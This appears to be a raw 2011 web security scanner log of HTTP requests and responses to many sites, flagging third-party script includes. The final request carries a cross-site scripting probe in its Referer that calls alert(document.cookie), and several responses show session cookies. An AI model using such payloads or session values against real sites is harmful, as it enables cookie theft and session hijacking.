GET /UI/Resizables HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:24:10 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 14517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET / HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:07 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 19 Jan 2011 16:24:14 +0000 Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 207203
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... </script><script type="text/javascript" id="topsy-js-elem" src="http://cdn.topsy.com/topsy.js?init=topsyWidgetCreator"></script> ...[SNIP]...
GET /tools/ HTTP/1.1 Host: flowplayer.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Date: Wed, 19 Jan 2011 15:23:41 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Content-Length: 13114
GET / HTTP/1.1 Host: henriquebastos.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:36 GMT Server: Apache Vary: Accept-Encoding,Cookie Cache-Control: max-age=300, must-revalidate WP-Cache: Served supercache file from PHP Content-Length: 37241 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR">
GET / HTTP/1.1 Host: interface.eyecon.ro Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:23:47 GMT Server: Apache X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=a0c93388e61bb083c2ea064120022059; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /promotions/signup.aspx HTTP/1.1 Host: join.kazaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 18:08:42 GMT Connection: close Content-Length: 27386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head>
GET /cycle/ HTTP/1.1 Host: jquery.malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /license HTTP/1.1 Host: jquery.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:55 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Wed, 19 Jan 2011 17:33:26 GMT ETag: "79985e2-206a-6a1c6580" Accept-Ranges: bytes Content-Length: 8298 Cache-Control: max-age=300, must-revalidate Expires: Wed, 19 Jan 2011 18:13:55 GMT Connection: close Content-Type: text/html; charset=UTF-8
GET /about HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Wed, 19 Jan 2011 15:23:52 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 14616
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>
GET / HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /&hl=en&client=ca-dp-sphere-radlinks_js&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /&hl=en&client=ca-dp-sphere_related_xml&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2011/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:08 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Tue, 18 Jan 2011 21:15:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 134763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http ...[SNIP]... <meta name="entry_id" content="304199" />
GET /event-log-analysis-sm/ HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Event log analysis & management</title>
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/ga.js
Request
GET / HTTP/1.1 Host: local.ingenio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:58:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml",CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS UNI COM NAV INT STA" Pragma: no-cache Set-Cookie: Homepage.HomeFlow=pmode=0; path=/ Set-Cookie: KeenUid=Annon=Y&Uid=c12NzXH2-xAmGBCeLUNSqw%3d%3d; path=/ Set-Cookie: Perm=; path=/ Set-Cookie: Passthrough=CallFlowEntID=3967171&TrackingEntID=4558042&CobrandEntID=4953963&PartnerEntID=2194807; path=/ Set-Cookie: PageTrace=Enabled=0; path=/ Set-Cookie: YIC=search=&location=&urlref=&LDC=0; path=/ Set-Cookie: Home=CancelUrl=&ReturnUrl=&Params=pmode%3d0%26FlowSequenceName%3d%26Started%3d1%26DisplayStepIndicator%3d0; path=/ Set-Cookie: Session=Data=ENC2_WUcxSkxtYm0xekJhemU3TlVycUw4WS9IM2VoUFhJSFU%3d; path=/ Cache-Control: no-store, must-revalidate, private Content-Type: text/html; charset=iso-8859-1 Content-Length: 41229
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html> <head id="ctl00_ctl00_head"><title> Ingenio Yellow Pages | Make a telephone ...[SNIP]... </script> <script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script> ...[SNIP]...
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]... </script> <script type="text/javascript" src="https://s.yimg.com/lq/lib/reg/js/yahoo_dom_event_animation_connection_2.8.2_inc_superads_capslock_loginmd5_min_12.js"></script> ...[SNIP]...
GET /config/login?.src=fpctx&logout=1&r= HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:21 GMT Set-Cookie: B=76otfft6jea6h&b=3&s=5d; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: Y=%2e; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: T=z=0; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: SSL=%2e; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; domain=.yahoo.com; secure P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 18382
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
GET /jquery/cycle/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: mariomariani.blogspot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Wed, 19 Jan 2011 18:09:34 GMT Date: Wed, 19 Jan 2011 18:09:34 GMT Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate Last-Modified: Wed, 03 Nov 2010 18:22:11 GMT ETag: "60fe3bfd-a509-4945-bcc9-e494f8163cdb" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
GET /lab/innerfade/ HTTP/1.1 Host: medienfreunde.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:39 GMT Server: Apache X-Powered-By: PHP/5.2.10 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 14265
The response dynamically includes the following script from another domain:
http://stats.wordpress.com/e-201103.js
Request
GET /blog/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: metronus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:42 GMT Server: Apache X-Pingback: http://metronus.com/blog/xmlrpc.php Link: <http://wp.me/xFl5>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76756
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... </script> <script type="text/javascript" src="http://i.cdn.turner.com/money/fn_adspaces/cnn_adspaces.js"></script> ...[SNIP]... </script> <script language="JavaScript1.1" src="http://i.cdn.turner.com/money/.element/ssi/javascript/1.0/main.js" type="text/javascript"></script> <script language="JavaScript1.1" src="http://i.cdn.turner.com/money/.element/ssi/javascript/1.0/bc_page.js" type="text/javascript"></script> <script language="JavaScript1.1" src="http://i.cdn.turner.com/money/.element/ssi/javascript/2.0/fortune500_2008.js" type="text/javascript"></script> ...[SNIP]... </div> <script language="JavaScript" src="http://i.cdn.turner.com/money/.element/ssi/javascript/1.1/cnnhat_section.js"></script> <div id="header"> <script language="JavaScript" src="http://i.cdn.turner.com/money/.element/ssi/javascript/1.0/search_form.js" type="text/javascript"></script> ...[SNIP]... </style> <script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script> ...[SNIP]... </script> <script language="JavaScript" src="http://i.cdn.turner.com/money/.element/ssi/navigation/2.0/nav_fortune.js"></script> ...[SNIP]... <![endif]--> <script type="text/javascript" src="http://i.cdn.turner.com/money/.element/script/3.0/services/connect-lite.js"></script> ...[SNIP]... <!-- end footer --> <script language="JavaScript" src="http://i.cdn.turner.com/money/.element/script/4.0/omniture/jsmd.js"></script> ...[SNIP]... </script>
GET / HTTP/1.1 Host: oxenterails.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.8.24 Date: Wed, 19 Jan 2011 18:12:38 GMT Content-Type: text/html Content-Length: 15968 Last-Modified: Thu, 19 Aug 2010 16:10:24 GMT Connection: close Vary: Accept-Encoding Accept-Ranges: bytes
GET /lh/view?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wq HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: renata.adm.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 19 Jan 2011 18:14:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://renata.adm.br/xmlrpc.php Link: <http://wp.me/DfhX>; rel=shortlink Content-Length: 36628
GET /a/mayberrylawfirm.com/learnestateplanning/?faa91 HTTP/1.1 Host: sites.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Robots-Tag: noarchive Last-Modified: Wed, 19 Jan 2011 14:23:13 GMT ETag: "1295446993138|#public|en|||0" Expires: Wed, 19 Jan 2011 18:14:41 GMT Date: Wed, 19 Jan 2011 18:14:41 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascri ...[SNIP]... </script> <script xmlns="http://www.w3.org/1999/xhtml" src="https://ssl.gstatic.com/sites/p/b8344b/system/js/jot_min_view__en_gb.js"></script> ...[SNIP]...
GET / HTTP/1.1 Host: smallactsmanifesto.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:43 GMT Server: Apache ETag: "135564a69480b1675ebc40bef06ecb36" Expires: Wed, 19 Jan 2011 18:19:43 GMT Cache-Control: max-age=300 Last-Modified: Wed, 19 Jan 2011 18:14:43 GMT Status: 200 OK Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 40539
GET /jcarousel/ HTTP/1.1 Host: sorgalla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:45 GMT Server: Apache Vary: Cookie WP-Super-Cache: Served legacy cache file X-Powered-By: PHP/4.4.9 Connection: close Content-Type: text/html; charset="UTF-8" Content-Length: 13108
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE"> <head profi ...[SNIP]... </script><script type="text/javascript" src="http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script> ...[SNIP]... <!--stats_footer_test--><script src="http://stats.wordpress.com/e-201103.js" type="text/javascript"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
https://ssl.google-analytics.com/ga.js
Request
GET /NA3/ats/careers/jobSearch.jsp?org=YELLOWPAGES&cws=1 HTTP/1.1 Host: tbe.taleo.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:58:40 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=7DDBC697D275EF763B17C1E511BC0B4B.NA3_primary_jvm; Path=/NA3/ats P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 14364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http:/ ...[SNIP]... </table>
GET /account/resend_password HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-12547-4367 ETag: "7869743eabd9df29ed0eae66f6c52179" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.04128 Content-Type: text/html; charset=utf-8 Content-Length: 9744 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903355824; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090348215507; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCD2qfJ8tAToMY3NyZl9pZCIlOWIyMWExNDlh%250AMDE4MTFmNmIxNTA2NTEzYTk4OTFmZDU6B2lkIiUxMzllMjg5YmJkNmM1MTRm%250ANzNhODY5MDFkMjNkMGFjYSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--9dd27a8a44242ea712aecffc9ab8ca6df3464b89; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]... </div>
GET /arsolto/statuses/10125064363 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-81145-14171 ETag: "a6fc795aac464b22885ac98ee55f017f" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.05914 Content-Type: text/html; charset=utf-8 Content-Length: 13502 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903774503; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090384940992; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCKqrfJ8tAToMY3NyZl9pZCIlZjZhZGIwNDg1%250AN2IxYmI5ODFhNTk4NzM4MjUzNjU0Yjc6B2lkIiVlZjgwZDQ5NWZkYTQwODc2%250AZDY5ODhkMWRlZWI2NjNhZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoOcmV0dXJuX3RvIjRodHRw%250AOi8vdHdpdHRlci5jb20vYXJzb2x0by9zdGF0dXNlcy8xMDEyNTA2NDM2Mw%253D%253D--dd1eec61e09f18ecf2133956dfaae816c545c95c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]... </div>
GET /fagiani HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-30476-34757 ETag: "77ef6be1f643debd8666b53bd63bb365" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01698 Content-Type: text/html; charset=utf-8 Content-Length: 51533 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903731262; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090376423251; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFerfJ8tAToHaWQiJTAyMzgxNWI3YTgxYmU5%250AMGY4YzkzODgxOWZiZDc5ZDRiIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--e90ad675263b4a03bc9fc44f397ea9c5197cc977; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]... </div>
GET /rafaelp HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-25933-31378 ETag: "2118e3354d30b7717233879fa74e0603" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01529 Content-Type: text/html; charset=utf-8 Content-Length: 56379 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903722470; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090373025980; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCDWrfJ8tAToHaWQiJWVkN2M3Njg5ZjI0YWNl%250ANmU4Zjk0ZTY3ZDIzZDg0OWJjIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--b2a03e152c47781d67c9986e69f0aaba12291528; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]... </div>
GET /rafaelp HTTP/1.1 Host: twittercounter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:15:07 GMT Server: Apache/2.2.14 (Fedora) PHP/5.3.2 X-Powered-By: PHP/5.3.2 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 20381
GET /if?p=law+offices&partnerid=yhs-if-local1&fr=yhs-if-local1&ei=UTF-8 HTTP/1.1 Host: us.yhs.search.yahoo.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: B=80eipqp6i4psl&b=3&s=j8
Response
